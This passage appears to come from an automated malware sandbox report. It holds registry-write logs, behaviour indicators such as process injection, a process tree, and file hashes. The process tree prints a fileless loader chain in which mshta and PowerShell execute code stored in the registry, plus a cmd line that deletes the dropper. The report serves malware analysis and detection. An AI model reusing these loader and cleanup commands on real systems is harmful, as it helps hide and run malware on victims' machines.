35002d00320031002d003900310039003200350034003400390032002d0033003900370039003200390033003900390037002d003700360034003400300037003100390032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000530b1468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d245db4-dd01-488e-8 = "\\\\?\\Volume{68140B53-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\17e1d838198173756dde0b1655f323ddbca9f8309e2b0dcbd426ab1ef87f508a" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9bf1c9e1-8283-4715-9 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000008a5bb9b2f0f5d9018a5bb9b2f0f5d9018a5bb9b2f0f5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043571b5f2000393430633935363732626266643536646138663537376161643966396336643233373230653034363233636466356335646333333237623633333837313232340000b20009000400efbe43571b5f43571b5f2e00000000000000000000000000000000000000000000000000766bfa00390034003000630039003500360037003200620062006600640035003600640061003800660035003700370061006100640039006600390063003600640032003300370032003000650030003400360032003300630064006600350063003500640063003300330032003700620036003300330038003700310032003200340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007381399d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c39343063393536373262626664353664613866353737616164396639633664323337323065303436323363646635633564633333323762363333383731323234000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736d696a776a6d68000000000000000052d8063eedfcdf448a23f9f8aed1bb8ae0386a569853ee11941e7257cd168fac52d8063eedfcdf448a23f9f8aed1bb8ae0386a569853ee11941e7257cd168facce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002d00000053002d0031002d0035002d00320031002d003900310039003200350034003400390032002d0033003900370039003200390033003900390037002d003700360034003400300037003100390032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000530b1468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5f155639-87f5-492a-9 = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9bf1c9e1-8283-4715-9 = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9347540e-5b99-41bd-b = 306d86b3f0f5d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1324e2b7-a511-47d2-8 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8da67c43-a152-4ca0-b = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0629baef-1529-4852-8 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000e36dccb2f0f5d901e36dccb2f0f5d901e36dccb2f0f5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043571b5f2000656334613066653432303636313962313263373730393162663564336462623139613465316130336537373031373230633436363730393765306538656462370000b20009000400efbe43571b5f43571b5f2e000000000000000000000000000000000000000000000000001d59e700650063003400610030006600650034003200300036003600310039006200310032006300370037003000390031006200660035006400330064006200620031003900610034006500310061003000330065003700370030003100370032003000630034003600360037003000390037006500300065003800650064006200370000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007381399d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65633461306665343230363631396231326337373039316266356433646262313961346531613033653737303137323063343636373039376530653865646237000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736d696a776a6d68000000000000000052d8063eedfcdf448a23f9f8aed1bb8ae2386a569853ee11941e7257cd168fac52d8063eedfcdf448a23f9f8aed1bb8ae2386a569853ee11941e7257cd168facce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002d00000053002d0031002d0035002d00320031002d003900310039003200350034003400390032002d0033003900370039003200390033003900390037002d003700360034003400300037003100390032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000530b1468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9bf1c9e1-8283-4715-9 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1324e2b7-a511-47d2-8 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000006d9795b2f0f5d9016d9795b2f0f5d9016d9795b2f0f5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043571b5f2000643634393938666230393336373562303635646635326439303463386635396266323134313234383636343736376430383836336165323437383965376432340000b20009000400efbe43571b5f43571b5f2e00000000000000000000000000000000000000000000000000932f1e01640036003400390039003800660062003000390033003600370035006200300036003500640066003500320064003900300034006300380066003500390062006600320031003400310032003400380036003600340037003600370064003000380038003600330061006500320034003700380039006500370064003200340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007381399d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64363439393866623039333637356230363564663532643930346338663539626632313431323438363634373637643038383633616532343738396537643234000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736d696a776a6d68000000000000000052d8063eedfcdf448a23f9f8aed1bb8add386a569853ee11941e7257cd168fac52d8063eedfcdf448a23f9f8aed1bb8add386a569853ee11941e7257cd168facce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002d00000053002d0031002d0035002d00320031002d003900310039003200350034003400390032002d0033003900370039003200390033003900390037002d003700360034003400300037003100390032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000530b1468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b428eb6d-2bd2-4ce0-8 = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5f155639-87f5-492a-9 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000001c34b2b2f0f5d9011c34b2b2f0f5d9011c34b2b2f0f5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043571b5f2000313765316438333831393831373337353664646530623136353566333233646462636139663833303965326230646362643432366162316566383766353038610000b20009000400efbe43571b5f43571b5f2e00000000000000000000000000000000000000000000000000e4920101310037006500310064003800330038003100390038003100370033003700350036006400640065003000620031003600350035006600330032003300640064006200630061003900660038003300300039006500320062003000640063006200640034003200360061006200310065006600380037006600350030003800610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007381399d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31376531643833383139383137333735366464653062313635356633323364646263613966383330396532623064636264343236616231656638376635303861000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736d696a776a6d68000000000000000052d8063eedfcdf448a23f9f8aed1bb8adf386a569853ee11941e7257cd168fac52d8063eedfcdf448a23f9f8aed1bb8adf386a569853ee11941e7257cd168facce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002d00000053002d0031002d0035002d00320031002d003900310039003200350034003400390032002d0033003900370039003200390033003900390037002d003700360034003400300037003100390032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000530b1468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0629baef-1529-4852-8 = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ce570b48-ff16-41ca-9 RuntimeBroker.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
PING.EXEpid process 1440 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
client.exepowershell.exeExplorer.EXEpid process 768 client.exe 768 client.exe 4108 powershell.exe 4108 powershell.exe 4108 powershell.exe 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3248 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exepid process 4108 powershell.exe 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3248 Explorer.EXE 3816 cmd.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exeExplorer.EXERuntimeBroker.exedescription pid process Token: SeDebugPrivilege 4108 powershell.exe Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3788 RuntimeBroker.exe Token: SeShutdownPrivilege 3788 RuntimeBroker.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Explorer.EXEpid process 3248 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3248 Explorer.EXE -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
mshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exedescription pid process target process PID 4088 wrote to memory of 4108 4088 mshta.exe powershell.exe PID 4088 wrote to memory of 4108 4088 mshta.exe powershell.exe PID 4108 wrote to memory of 3680 4108 powershell.exe csc.exe PID 4108 wrote to memory of 3680 4108 powershell.exe csc.exe PID 3680 wrote to memory of 4616 3680 csc.exe cvtres.exe PID 3680 wrote to memory of 4616 3680 csc.exe cvtres.exe PID 4108 wrote to memory of 3804 4108 powershell.exe csc.exe PID 4108 wrote to memory of 3804 4108 powershell.exe csc.exe PID 3804 wrote to memory of 4756 3804 csc.exe cvtres.exe PID 3804 wrote to memory of 4756 3804 csc.exe cvtres.exe PID 4108 wrote to memory of 3248 4108 powershell.exe Explorer.EXE PID 4108 wrote to memory of 3248 4108 powershell.exe Explorer.EXE PID 4108 wrote to memory of 3248 4108 powershell.exe Explorer.EXE PID 4108 wrote to memory of 3248 4108 powershell.exe Explorer.EXE PID 3248 wrote to memory of 3788 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 3788 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 3788 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 3788 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 4068 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 4068 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 4068 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 4068 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 4920 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 4920 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 4920 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 4920 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 5088 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 5088 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 5088 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 5088 3248 Explorer.EXE RuntimeBroker.exe PID 3248 wrote to memory of 3816 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 3816 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 3816 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 5052 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 5052 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 5052 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 5052 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 3816 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 3816 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 5052 3248 Explorer.EXE cmd.exe PID 3248 wrote to memory of 5052 3248 Explorer.EXE cmd.exe PID 3816 wrote to memory of 1440 3816 cmd.exe PING.EXE PID 3816 wrote to memory of 1440 3816 cmd.exe PING.EXE PID 3816 wrote to memory of 1440 3816 cmd.exe PING.EXE PID 3816 wrote to memory of 1440 3816 cmd.exe PING.EXE PID 3816 wrote to memory of 1440 3816 cmd.exe PING.EXE
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\client.exe"C:\Users\Admin\AppData\Local\Temp\client.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 768 -s 14003⤵
- Program crash
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Teta='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Teta).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD\\\LinkActive'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xforgvsflb -value gp; new-alias -name xnymdos -value iex; xnymdos ([System.Text.Encoding]::ASCII.GetString((xforgvsflb "HKCU:Software\AppDataLow\Software\Microsoft\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD").PlayPlay))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ig5hudni\ig5hudni.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEC83.tmp" "c:\Users\Admin\AppData\Local\Temp\ig5hudni\CSC85D87315AC61453CAB6A2736A67F6976.TMP"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5v4fhb01\5v4fhb01.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEDBB.tmp" "c:\Users\Admin\AppData\Local\Temp\5v4fhb01\CSC139A52D6CF4D49C6A9EFDDBE298D11DB.TMP"5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\client.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 768 -ip 7681⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\5v4fhb01\5v4fhb01.dllFilesize
3KB
MD51f1ed0550d56d35b9bf3a792e98414ba
SHA149ace35862bf6eec8169d49065c93e081e276164
SHA256aeb3cf02e84f10982dbbadec89bb7bf2e357ab2cf10c549893fee6a53901b3c6
